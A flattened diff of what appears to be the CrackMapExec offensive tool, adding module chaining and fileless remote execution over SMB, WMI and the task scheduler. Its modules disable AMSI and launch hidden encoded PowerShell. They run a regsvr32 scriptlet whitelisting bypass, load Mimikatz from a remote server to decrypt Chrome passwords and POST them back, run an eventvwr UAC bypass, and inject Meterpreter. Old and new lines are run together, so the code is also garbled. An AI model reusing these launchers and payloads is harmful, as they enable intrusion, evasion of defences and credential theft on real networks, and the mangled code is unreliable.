#dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
dce.bind(tsch.MSRPC_UUID_TSCHS)
tmpName = gen_random_string(8)
tmpFileName = tmpName + '.tmp'
xml = self.gen_xml(command, tmpFileName, fileless)
#logging.info("Task XML: {}".format(xml)) #logging.info("Task XML: {}".format(xml))
taskCreated = False taskCreated = False
#logging.info('Creating task \\%s' % tmpName) logging.info('Creating task \\%s' % tmpName)
tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE) tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
taskCreated = True taskCreated = True
#logging.info('Running task \\%s' % tmpName) logging.info('Running task \\%s' % tmpName)
tsch.hSchRpcRun(dce, '\\%s' % tmpName) tsch.hSchRpcRun(dce, '\\%s' % tmpName)
done = False done = False
while not done: while not done:
#logging.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName) logging.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName)
resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % tmpName) resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % tmpName)
if resp['pLastRuntime']['wYear'] != 0: if resp['pLastRuntime']['wYear'] != 0:
done = True done = True
else: else:
sleep(2) sleep(2)
#logging.info('Deleting task \\%s' % tmpName) logging.info('Deleting task \\%s' % tmpName)
tsch.hSchRpcDelete(dce, '\\%s' % tmpName) tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
taskCreated = False taskCreated = False
if taskCreated is True: if taskCreated is True:
tsch.hSchRpcDelete(dce, '\\%s' % tmpName) tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
peer = ':'.join(map(str, self.__rpctransport.get_socket().getpeername()))
#self.__logger.success('Executed command via ATEXEC')
if self.__retOutput: if self.__retOutput:
smbConnection = self.__rpctransport.get_smb_connection() if fileless:
while True: while True:
try: try:
#logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName) with open(os.path.join('/tmp', 'cme_hosted', tmpFileName), 'r') as output:
smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, output_callback) self.output_callback(output.read())
break break
except Exception as e: except IOError:
if str(e).find('SHARING') > 0: sleep(2)
sleep(3) else:
elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0: peer = ':'.join(map(str, self.__rpctransport.get_socket().getpeername()))
sleep(3) smbConnection = self.__rpctransport.get_smb_connection()
else: while True:
raise try:
#logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName) #logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName)
smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName) smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, self.output_callback)
else: break
pass except Exception as e:
#logging.info('Output retrieval disabled') if str(e).find('SHARING') > 0:
sleep(3)
elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
sleep(3)
else:
raise
#logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName)
smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName)
dce.disconnect() dce.disconnect()

View File

@ -1,4 +1,5 @@
import logging import logging
import os
from gevent import sleep from gevent import sleep
from impacket.dcerpc.v5 import transport, scmr from impacket.dcerpc.v5 import transport, scmr
from impacket.smbconnection import * from impacket.smbconnection import *
@ -6,8 +7,9 @@ from cme.helpers import gen_random_string
class SMBEXEC: class SMBEXEC:
def __init__(self, host, protocol, username = '', password = '', domain = '', hashes = None, share = None, port=445): def __init__(self, host, share_name, protocol, username = '', password = '', domain = '', hashes = None, share = None, port=445):
self.__host = host self.__host = host
self.__share_name = share_name
self.__port = port self.__port = port
self.__username = username self.__username = username
self.__password = password self.__password = password
@ -59,52 +61,33 @@ class SMBEXEC:
self.__scmr.bind(scmr.MSRPC_UUID_SCMR) self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
resp = scmr.hROpenSCManagerW(self.__scmr) resp = scmr.hROpenSCManagerW(self.__scmr)
self.__scHandle = resp['lpScHandle'] self.__scHandle = resp['lpScHandle']
self.transferClient = self.__rpctransport.get_smb_connection()
def execute(self, command, output=False): def execute(self, command, output=False):
self.__retOutput = output self.__retOutput = output
if self.__retOutput: self.execute_fileless(command)
self.cd('')
self.execute_remote(command)
self.finish() self.finish()
return self.__outputBuffer return self.__outputBuffer
def cd(self, s):
ret_state = self.__retOutput
self.__retOutput = False
self.execute_remote('cd ' )
self.__retOutput = ret_state
def get_output(self): def output_callback(self, data):
self.__outputBuffer += data
if self.__retOutput is False: def execute_fileless(self, data):
self.__outputBuffer = '' self.__output = gen_random_string(6)
return self.__batchFile = gen_random_string(6) + '.bat'
local_ip = self.__rpctransport.get_socket().getsockname()[0]
def output_callback(data):
self.__outputBuffer += data
while True:
try:
self.transferClient.getFile(self.__share, self.__output, output_callback)
self.transferClient.deleteFile(self.__share, self.__output)
break
except Exception:
sleep(2)
def execute_remote(self, data):
self.__output = '\\Windows\\Temp\\' + gen_random_string()
self.__batchFile = '%TEMP%\\' + gen_random_string() + '.bat'
if self.__retOutput: if self.__retOutput:
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile command = self.__shell + data + ' ^> \\\\{}\\{}\\{}'.format(local_ip, self.__share_name, self.__output)
else: else:
command = self.__shell + 'echo ' + data + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile command = self.__shell + data
command += ' & ' + 'del ' + self.__batchFile
logging.debug('Executing command: ' + command) with open(os.path.join('/tmp', 'cme_hosted', self.__batchFile), 'w') as batch_file:
batch_file.write(command)
logging.debug('Hosting batch file with command: ' + command)
command = self.__shell + '\\\\{}\\{}\\{}'.format(local_ip,self.__share_name, self.__batchFile)
logging.debug('Command to execute: ' + command)
resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command) resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command)
service = resp['lpServiceHandle'] service = resp['lpServiceHandle']
@ -115,7 +98,18 @@ class SMBEXEC:
pass pass
scmr.hRDeleteService(self.__scmr, service) scmr.hRDeleteService(self.__scmr, service)
scmr.hRCloseServiceHandle(self.__scmr, service) scmr.hRCloseServiceHandle(self.__scmr, service)
self.get_output() self.get_output_fileless()
def get_output_fileless(self):
if not self.__retOutput: return
while True:
try:
with open(os.path.join('/tmp', 'cme_hosted', self.__output), 'r') as output:
self.output_callback(output.read())
break
except IOError:
sleep(2)
def finish(self): def finish(self):
# Just in case the service is still created # Just in case the service is still created

View File

@ -1,4 +1,5 @@
import ntpath, logging import ntpath, logging
import os
from gevent import sleep from gevent import sleep
from cme.helpers import gen_random_string from cme.helpers import gen_random_string
@ -7,7 +8,7 @@ from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.dtypes import NULL
class WMIEXEC: class WMIEXEC:
def __init__(self, target, username, password, domain, smbconnection, hashes=None, share=None): def __init__(self, target, share_name, username, password, domain, smbconnection, hashes=None, share=None):
self.__target = target self.__target = target
self.__username = username self.__username = username
self.__password = password self.__password = password
@ -18,6 +19,7 @@ class WMIEXEC:
self.__smbconnection = smbconnection self.__smbconnection = smbconnection
self.__output = None self.__output = None
self.__outputBuffer = '' self.__outputBuffer = ''
self.__share_name = share_name
self.__shell = 'cmd.exe /Q /c ' self.__shell = 'cmd.exe /Q /c '
self.__pwd = 'C:\\' self.__pwd = 'C:\\'
self.__aesKey = None self.__aesKey = None
@ -46,9 +48,8 @@ class WMIEXEC:
self.__retOutput = output self.__retOutput = output
if self.__retOutput: if self.__retOutput:
self.__smbconnection.setTimeout(100000) self.__smbconnection.setTimeout(100000)
self.cd('\\')
self.execute_remote(command) self.execute_handler(command)
self.__dcom.disconnect() self.__dcom.disconnect()
return self.__outputBuffer return self.__outputBuffer
@ -62,7 +63,20 @@ class WMIEXEC:
self.execute_remote('cd ') self.execute_remote('cd ')
self.__pwd = self.__outputBuffer.strip('\r\n') self.__pwd = self.__outputBuffer.strip('\r\n')
self.__outputBuffer = '' self.__outputBuffer = ''
def output_callback(self, data):
self.__outputBuffer += data
def execute_handler(self, data):
if self.__retOutput:
try:
self.execute_fileless(data)
except:
self.cd('\\')
self.execute_remote(data)
else:
self.execute_remote(data)
def execute_remote(self, data): def execute_remote(self, data):
self.__output = '\\Windows\\Temp\\' + gen_random_string(6) self.__output = '\\Windows\\Temp\\' + gen_random_string(6)
@ -72,20 +86,35 @@ class WMIEXEC:
logging.debug('Executing command: ' + command) logging.debug('Executing command: ' + command)
self.__win32Process.Create(command, self.__pwd, None) self.__win32Process.Create(command, self.__pwd, None)
self.get_output() self.get_output_remote()
def get_output(self): def execute_fileless(self, data):
self.__output = gen_random_string(6)
local_ip = self.__smbconnection.getSMBServer().get_socket().getsockname()[0]
command = self.__shell + data + ' 1> \\\\{}\\{}\\{} 2>&1'.format(local_ip, self.__share_name, self.__output)
logging.debug('Executing command: ' + command)
self.__win32Process.Create(command, self.__pwd, None)
self.get_output_fileless()
def get_output_fileless(self):
while True:
try:
with open(os.path.join('/tmp', 'cme_hosted', self.__output), 'r') as output:
self.output_callback(output.read())
break
except IOError:
sleep(2)
def get_output_remote(self):
if self.__retOutput is False: if self.__retOutput is False:
self.__outputBuffer = '' self.__outputBuffer = ''
return return
def output_callback(data):
self.__outputBuffer += data
while True: while True:
try: try:
self.__smbconnection.getFile(self.__share, self.__output, output_callback) self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
break break
except Exception as e: except Exception as e:
if str(e).find('STATUS_SHARING_VIOLATION') >=0: if str(e).find('STATUS_SHARING_VIOLATION') >=0:
@ -96,4 +125,4 @@ class WMIEXEC:
#print str(e) #print str(e)
pass pass
self.__smbconnection.deleteFile(self.__share, self.__output) self.__smbconnection.deleteFile(self.__share, self.__output)

View File

@ -6,12 +6,16 @@ from subprocess import check_output, PIPE
from sys import exit from sys import exit
CME_PATH = os.path.expanduser('~/.cme') CME_PATH = os.path.expanduser('~/.cme')
TMP_PATH = os.path.join('/tmp', 'cme_hosted')
DB_PATH = os.path.join(CME_PATH, 'cme.db') DB_PATH = os.path.join(CME_PATH, 'cme.db')
CERT_PATH = os.path.join(CME_PATH, 'cme.pem') CERT_PATH = os.path.join(CME_PATH, 'cme.pem')
CONFIG_PATH = os.path.join(CME_PATH, 'cme.conf') CONFIG_PATH = os.path.join(CME_PATH, 'cme.conf')
def first_run_setup(logger): def first_run_setup(logger):
if not os.path.exists(TMP_PATH):
os.mkdir(TMP_PATH)
if not os.path.exists(CME_PATH): if not os.path.exists(CME_PATH):
logger.info('First time use detected') logger.info('First time use detected')
logger.info('Creating home directory structure') logger.info('Creating home directory structure')

View File

@ -25,25 +25,18 @@ def write_log(data, log_name):
with open(os.path.join(logs_dir, log_name), 'w') as mimikatz_output: with open(os.path.join(logs_dir, log_name), 'w') as mimikatz_output:
mimikatz_output.write(data) mimikatz_output.write(data)
def obfs_ps_script(script, function_name=None): def obfs_ps_script(script):
""" """
Strip block comments, line comments, empty lines, verbose statements, Strip block comments, line comments, empty lines, verbose statements,
and debug statements from a PowerShell source file. and debug statements from a PowerShell source file.
If the function_name paramater is passed, replace the main powershell function name with it
""" """
if function_name:
function_line = script.split('\n', 1)[0]
if function_line.find('function') != -1:
script = re.sub('-.*', '-{}\r'.format(function_name), script, count=1)
# strip block comments # strip block comments
strippedCode = re.sub(re.compile('<#.*?#>', re.DOTALL), '', script) strippedCode = re.sub(re.compile('<#.*?#>', re.DOTALL), '', script)
# strip blank lines, lines starting with #, and verbose/debug statements # strip blank lines, lines starting with #, and verbose/debug statements
strippedCode = "\n".join([line for line in strippedCode.split('\n') if ((line.strip() != '') and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")) )]) strippedCode = "\n".join([line for line in strippedCode.split('\n') if ((line.strip() != '') and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")) )])
return strippedCode return strippedCode
def create_ps_command(ps_command, force_ps32=False): def create_ps_command(ps_command, force_ps32=False, nothidden=False):
ps_command = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}}; ps_command = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};
try{{ try{{
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true) [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)
@ -68,11 +61,17 @@ else
IEX $exec IEX $exec
}}""".format(b64encode(ps_command.encode('UTF-16LE'))) }}""".format(b64encode(ps_command.encode('UTF-16LE')))
command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(command.encode('UTF-16LE'))) if nothidden is True:
command = 'powershell.exe -exec bypass -window maximized -encoded {}'.format(b64encode(command.encode('UTF-16LE')))
else:
command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(command.encode('UTF-16LE')))
elif not force_ps32: elif not force_ps32:
command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(ps_command.encode('UTF-16LE'))) if nothidden is True:
command = 'powershell.exe -exec bypass -window maximized -encoded {}'.format(b64encode(ps_command.encode('UTF-16LE')))
else:
command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(ps_command.encode('UTF-16LE')))
return command return command

81
cme/modulechainloader.py Normal file
View File

@ -0,0 +1,81 @@
import imp
import os
import sys
import cme
from logging import getLogger
from cme.context import Context
from cme.logger import CMEAdapter
from cme.cmechainserver import CMEChainServer
from cme.moduleloader import ModuleLoader
class ModuleChainLoader(ModuleLoader):
def __init__(self, args, db, logger):
ModuleLoader.__init__(self, args, db, logger)
self.chain_list = []
#This parses the chain command
for module in self.args.module_chain.split('=>'):
if '[' in module:
module_name = module.split('[')[0]
module_options = module.split('[')[1][:-1]
module_dict = {'name': module_name}
module_dict['options'] = {}
for option in module_options.split(';;'):
key, value = option.split('=', 1)
if value[:1] == ('"' or "'") and value[-1:] == ('"' or "'"):
value = value[1:-1]
module_dict['options'][str(key).upper()] = value
self.chain_list.append(module_dict)
else:
module_dict = {'name': module}
module_dict['options'] = {}
self.chain_list.append(module_dict)
def is_module_chain_sane(self):
last_module = self.chain_list[-1]['name']
#Confirm that every chained module (except for the last one) actually supports chaining
for module in self.chain_list:
if module['name'] == last_module:
continue
module_object = module['object']
if getattr(module_object, 'chain_support') is not True:
return False
return True
def init_module_chain(self):
modules = self.get_modules()
#Initialize all modules specified in the chain command and add the objects to chain_list
for chained_module in self.chain_list:
for module in modules:
if module.lower() == chained_module['name'].lower():
chained_module['object'] = self.load_module(modules[module]['path'])
for module in self.chain_list:
module_logger = CMEAdapter(getLogger('CME'), {'module': module['name'].upper()})
context = Context(self.db, module_logger, self.args)
if module['object'] != self.chain_list[-1]['object']: module['options']['COMMAND'] = 'dont notice me senpai'
getattr(module['object'], 'options')(context, module['options'])
if self.is_module_chain_sane():
server_logger = CMEAdapter(getLogger('CME'), {'module': 'CMESERVER'})
context = Context(self.db, server_logger, self.args)
server = CMEChainServer(self.chain_list, context, self.logger, self.args.server_host, self.args.server_port, self.args.server)
server.start()
return self.chain_list, server
return None, None

View File

@ -13,7 +13,6 @@ class ModuleLoader:
self.args = args self.args = args
self.db = db self.db = db
self.logger = logger self.logger = logger
self.server_port = args.server_port
self.cme_path = os.path.expanduser('~/.cme') self.cme_path = os.path.expanduser('~/.cme')
def module_is_sane(self, module, module_path): def module_is_sane(self, module, module_path):
@ -25,12 +24,24 @@ class ModuleLoader:
elif not hasattr(module, 'description'): elif not hasattr(module, 'description'):
self.logger.error('{} missing the description variable'.format(module_path)) self.logger.error('{} missing the description variable'.format(module_path))
module_error = True
elif not hasattr(module, 'chain_support'):
self.logger.error('{} missing the chain_support variable'.format(module_path))
module_error = True module_error = True
elif not hasattr(module, 'options'): elif not hasattr(module, 'options'):
self.logger.error('{} missing the options function'.format(module_path)) self.logger.error('{} missing the options function'.format(module_path))
module_error = True module_error = True
elif not hasattr(module, 'launcher'):
self.logger.error('{} missing the launcher function'.format(module_path))
module_error = True
elif not hasattr(module, 'payload'):
self.logger.error('{} missing the payload function'.format(module_path))
module_error = True
elif not hasattr(module, 'on_login') and not (module, 'on_admin_login'): elif not hasattr(module, 'on_login') and not (module, 'on_admin_login'):
self.logger.error('{} missing the on_login/on_admin_login function(s)'.format(module_path)) self.logger.error('{} missing the on_login/on_admin_login function(s)'.format(module_path))
module_error = True module_error = True
@ -38,7 +49,7 @@ class ModuleLoader:
if module_error: return False if module_error: return False
return True return True
def load_module(self, module_path): def load_module(self, module_path):
module = imp.load_source('payload_module', module_path).CMEModule() module = imp.load_source('payload_module', module_path).CMEModule()
if self.module_is_sane(module, module_path): if self.module_is_sane(module, module_path):
@ -57,7 +68,7 @@ class ModuleLoader:
module_path = os.path.join(path, module) module_path = os.path.join(path, module)
m = self.load_module(os.path.join(path, module)) m = self.load_module(os.path.join(path, module))
if m: if m:
modules[m.name] = {'path': os.path.join(path, module), 'description': m.description, 'options': m.options.__doc__} modules[m.name] = {'path': os.path.join(path, module), 'description': m.description, 'options': m.options.__doc__, 'chain_support': m.chain_support}
return modules return modules
@ -84,12 +95,9 @@ class ModuleLoader:
if hasattr(module, 'on_request') or hasattr(module, 'has_response'): if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
if hasattr(module, 'required_server'): if hasattr(module, 'required_server'):
args.server = getattr(module, 'required_server') self.args.server = getattr(module, 'required_server')
if not self.server_port: server = CMEServer(module, context, self.logger, self.args.server_host, self.args.server_port, self.args.server)
self. server_port = self.args.server_port
server = CMEServer(module, context, self.logger, self.args.server_host, self.server_port, self.args.server)
server.start() server.start()
return module, context, server return module, context, server

View File

@ -5,7 +5,7 @@ import os
class CMEModule: class CMEModule:
''' '''
Executes a command using a COM scriptlet to bypass whitelisting Executes a command using a COM scriptlet to bypass whitelisting (a.k.a squiblydoo)
Based on the awesome research by @subtee Based on the awesome research by @subtee
@ -13,53 +13,49 @@ class CMEModule:
http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html
''' '''
name='com_exec' name='com_exec' #Really tempted just to call this squiblydoo
description = 'Executes a command using a COM scriptlet to bypass whitelisting' description = 'Executes a command using a COM scriptlet to bypass whitelisting'
required_server='http' required_server='http'
chain_support = True
def options(self, context, module_options): def options(self, context, module_options):
''' '''
CMD Command to execute on the target system(s) (Required if CMDFILE isn't specified) COMMAND Command to execute on the target system(s) (Required if CMDFILE isn't specified)
CMDFILE File contaning the command to execute on the target system(s) (Required if CMD isn't specified) CMDFILE File contaning the command to execute on the target system(s) (Required if CMD isn't specified)
''' '''
if not 'CMD' in module_options and not 'CMDFILE' in module_options: if not 'COMMAND' in module_options and not 'CMDFILE' in module_options:
context.log.error('CMD or CMDFILE options are required!') context.log.error('COMMAND or CMDFILE options are required!')
sys.exit(1) exit(1)
if 'CMD' in module_options and 'CMDFILE' in module_options: if 'COMMAND' in module_options and 'CMDFILE' in module_options:
context.log.error('CMD and CMDFILE are mutually exclusive!') context.log.error('COMMAND and CMDFILE are mutually exclusive!')
sys.exit(1) exit(1)
if 'CMD' in module_options: if 'COMMAND' in module_options:
self.command = module_options['CMD'] self.command = module_options['COMMAND']
elif 'CMDFILE' in module_options: elif 'CMDFILE' in module_options:
path = os.path.expanduser(module_options['CMDFILE']) path = os.path.expanduser(module_options['CMDFILE'])
if not os.path.exists(path): if not os.path.exists(path):
context.log.error('Path to CMDFILE invalid!') context.log.error('Path to CMDFILE invalid!')
sys.exit(1) exit(1)
with open(path, 'r') as cmdfile: with open(path, 'r') as cmdfile:
self.command = cmdfile.read().strip() self.command = cmdfile.read().strip()
self.sct_name = gen_random_string(5) self.sct_name = gen_random_string(5)
def on_admin_login(self, context, connection): def launcher(self, context, command):
launcher = 'regsvr32.exe /u /n /s /i:http://{}/{}.sct scrobj.dll'.format(context.localip, self.sct_name)
command = 'regsvr32.exe /u /n /s /i:http://{}/{}.sct scrobj.dll'.format(context.localip, self.sct_name) return launcher
connection.execute(command)
context.log.success('Executed command') def payload(self, context, command):
payload = '''<?XML version="1.0"?>
def on_request(self, context, request):
if '{}.sct'.format(self.sct_name) in request.path[1:]:
request.send_response(200)
request.end_headers()
com_script = '''<?XML version="1.0"?>
<scriptlet> <scriptlet>
<registration <registration
description="Win32COMDebug" description="Win32COMDebug"
@ -69,18 +65,31 @@ class CMEModule:
> >
<script language="JScript"> <script language="JScript">
<![CDATA[ <![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("{}"); var r = new ActiveXObject("WScript.Shell").Run('{}');
]]> ]]>
</script> </script>
</registration> </registration>
<public> <public>
<method name="Exec"></method> <method name="Exec"></method>
</public> </public>
</scriptlet>'''.format(self.command) </scriptlet>'''.format(command)
request.wfile.write(com_script) context.log.debug('Generated payload:\n' + payload)
return payload
def on_admin_login(self, context, connection, launcher, payload):
connection.execute(launcher)
context.log.success('Executed squiblydoo')
def on_request(self, context, request, launcher, payload):
if '{}.sct'.format(self.sct_name) in request.path[1:]:
request.send_response(200)
request.end_headers()
request.wfile.write(payload)
request.stop_tracking_host() request.stop_tracking_host()
else: else:
request.send_response(404) request.send_response(404)
request.end_headers() request.end_headers()

View File

@ -16,6 +16,8 @@ class CMEModule:
description = "Uses Empire's RESTful API to generate a launcher for the specified listener and executes it" description = "Uses Empire's RESTful API to generate a launcher for the specified listener and executes it"
chain_support = False
def options(self, context, module_options): def options(self, context, module_options):
''' '''
LISTENER Listener name to generate the launcher for LISTENER Listener name to generate the launcher for
@ -54,7 +56,12 @@ class CMEModule:
context.log.error("Unable to connect to Empire's RESTful API: {}".format(e)) context.log.error("Unable to connect to Empire's RESTful API: {}".format(e))
sys.exit(1) sys.exit(1)
def on_admin_login(self, context, connection): def launcher(self, context, command):
if self.empire_launcher: return self.empire_launcher
connection.execute(self.empire_launcher)
context.log.success('Executed Empire Launcher') def payload(self, context, command):
return
def on_admin_login(self, context, connection, launcher, payload):
connection.execute(launcher)
context.log.success('Executed Empire Launcher')

View File

@ -1,4 +1,4 @@
from cme.helpers import create_ps_command, get_ps_script, obfs_ps_script, gen_random_string, validate_ntlm, write_log from cme.helpers import create_ps_command, get_ps_script, obfs_ps_script, validate_ntlm, write_log
from datetime import datetime from datetime import datetime
from StringIO import StringIO from StringIO import StringIO
import re import re
@ -13,13 +13,14 @@ class CMEModule:
description = "Uses Powersploit's Invoke-Mimikatz.ps1 script to decrypt saved Chrome passwords" description = "Uses Powersploit's Invoke-Mimikatz.ps1 script to decrypt saved Chrome passwords"
chain_support = False
def options(self, context, module_options): def options(self, context, module_options):
''' '''
''' '''
return
self.obfs_name = gen_random_string() def launcher(self, context, command):
def on_admin_login(self, context, connection):
''' '''
Oook.. Think my heads going to explode Oook.. Think my heads going to explode
@ -30,7 +31,7 @@ class CMEModule:
As far as I can figure out there is no way around this, hence we have to first copy Chrome's database to a path without any spaces and then decrypt the entries with Mimikatz As far as I can figure out there is no way around this, hence we have to first copy Chrome's database to a path without any spaces and then decrypt the entries with Mimikatz
''' '''
payload = ''' launcher = '''
$cmd = "privilege::debug sekurlsa::dpapi" $cmd = "privilege::debug sekurlsa::dpapi"
$userdirs = get-childitem "$Env:SystemDrive\Users" $userdirs = get-childitem "$Env:SystemDrive\Users"
foreach ($dir in $userdirs) {{ foreach ($dir in $userdirs) {{
@ -47,7 +48,7 @@ class CMEModule:
$cmd = $cmd + " exit" $cmd = $cmd + " exit"
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-Mimikatz.ps1'); IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-Mimikatz.ps1');
$creds = Invoke-{func_name} -Command $cmd; $creds = Invoke-Mimikatz -Command $cmd;
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/'); $request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
$request.Method = 'POST'; $request.Method = 'POST';
$request.ContentType = 'application/x-www-form-urlencoded'; $request.ContentType = 'application/x-www-form-urlencoded';
@ -58,15 +59,19 @@ class CMEModule:
$requestStream.Close(); $requestStream.Close();
$request.GetResponse();'''.format(server=context.server, $request.GetResponse();'''.format(server=context.server,
port=context.server_port, port=context.server_port,
addr=context.localip, addr=context.localip)
func_name=self.obfs_name)
context.log.debug('Payload: {}'.format(payload)) return create_ps_command(launcher)
payload = create_ps_command(payload)
connection.execute(payload, methods=['atexec', 'smbexec'])
context.log.success('Executed payload')
def on_request(self, context, request): def payload(self, context, command):
with open(get_ps_script('Invoke-Mimikatz.ps1'), 'r') as ps_script:
return obfs_ps_script(ps_script.read())
def on_admin_login(self, context, connection, launcher, payload):
connection.execute(launcher, methods=['atexec', 'smbexec'])
context.log.success('Executed launcher')
def on_request(self, context, request, launcher, payload):
if 'Invoke-Mimikatz.ps1' == request.path[1:]: if 'Invoke-Mimikatz.ps1' == request.path[1:]:
request.send_response(200) request.send_response(200)
request.end_headers() request.end_headers()
@ -79,9 +84,7 @@ class CMEModule:
Here we call the updated PowerShell script instead of PowerSploits version Here we call the updated PowerShell script instead of PowerSploits version
''' '''
with open(get_ps_script('Invoke-Mimikatz.ps1'), 'r') as ps_script: request.wfile.write(payload)
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
request.wfile.write(ps_script)
else: else:
request.send_response(404) request.send_response(404)

View File

@ -0,0 +1,76 @@
from cme.helpers import create_ps_command, get_ps_script
from sys import exit
class CMEModule:
'''
Executes a command using the the eventvwr.exe fileless UAC bypass
Powershell script and vuln discovery by Matt Nelson (@enigma0x3)
module by @byt3bl33d3r
'''
name = 'eventvwr_bypass'
description = 'Executes a command using the eventvwr.exe fileless UAC bypass'
chain_support = True
def options(self, context, module_options):
'''
COMMAND Command to execute on the target system(s) (Required if CMDFILE isn't specified)
CMDFILE File contaning the command to execute on the target system(s) (Required if CMD isn't specified)
'''
if not 'COMMAND' in module_options and not 'CMDFILE' in module_options:
context.log.error('COMMAND or CMDFILE options are required!')
exit(1)
if 'COMMAND' in module_options and 'CMDFILE' in module_options:
context.log.error('COMMAND and CMDFILE are mutually exclusive!')
exit(1)
if 'COMMAND' in module_options:
self.command = module_options['COMMAND']
elif 'CMDFILE' in module_options:
path = os.path.expanduser(module_options['CMDFILE'])
if not os.path.exists(path):
context.log.error('Path to CMDFILE invalid!')
exit(1)
with open(path, 'r') as cmdfile:
self.command = cmdfile.read().strip()
def launcher(self, context, command):
launcher = '''
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-EventVwrBypass.ps1');
Invoke-EventVwrBypass -Force -Command "cmd.exe /c {command}";
'''.format(server=context.server,
addr=context.localip,
port=context.server_port,
command=command)
return create_ps_command(launcher)
def payload(self, context, command):
with open(get_ps_script('Invoke-EventVwrBypass.ps1'), 'r') as ps_script:
return ps_script.read()
def on_admin_login(self, context, connection, launcher, payload):
connection.execute(launcher)
context.log.success('Executed launcher')
def on_request(self, context, request, launcher, payload):
if request.path[1:] == 'Invoke-EventVwrBypass.ps1':
request.send_response(200)
request.end_headers()
request.wfile.write(payload)
request.stop_tracking_host()
else:
request.send_response(404)
request.end_headers()

View File

@ -9,19 +9,30 @@ class CMEModule:
description = 'Something Something' description = 'Something Something'
#If the module supports chaining, change this to True
chain_support = False
def options(self, context, module_options): def options(self, context, module_options):
'''Required. Module options get parsed here. Additionally, put the modules usage here as well''' '''Required. Module options get parsed here. Additionally, put the modules usage here as well'''
pass pass
def launcher(self, context, command):
'''Required. Generate your launcher here'''
pass
def payload(self, context, command):
'''Required. Generate your payload here'''
pass
def on_login(self, context, connection): def on_login(self, context, connection):
'''Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection''' '''Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection'''
pass pass
def on_admin_login(self, context, connection): def on_admin_login(self, context, connection, launcher, payload):
'''Concurrent. Required if on_login is not present. This gets called on each authenticated connection with Administrative privileges''' '''Concurrent. Required if on_login is not present. This gets called on each authenticated connection with Administrative privileges'''
pass pass
def on_request(self, context, request): def on_request(self, context, request, launcher, payload):
'''Optional. If the payload needs to retrieve additonal files, add this function to the module''' '''Optional. If the payload needs to retrieve additonal files, add this function to the module'''
pass pass

View File

@ -1,4 +1,4 @@
from cme.helpers import gen_random_string, create_ps_command, obfs_ps_script, get_ps_script from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script
from sys import exit from sys import exit
class CMEModule: class CMEModule:
@ -6,10 +6,12 @@ class CMEModule:
Downloads the Meterpreter stager and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script Downloads the Meterpreter stager and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script
Module by @byt3bl33d3r Module by @byt3bl33d3r
''' '''
name = 'metinject' name = 'met_inject'
description = "Downloads the Meterpreter stager and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script" description = "Downloads the Meterpreter stager and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script"
chain_support = False
def options(self, context, module_options): def options(self, context, module_options):
''' '''
LHOST IP hosting the handler LHOST IP hosting the handler
@ -35,13 +37,13 @@ class CMEModule:
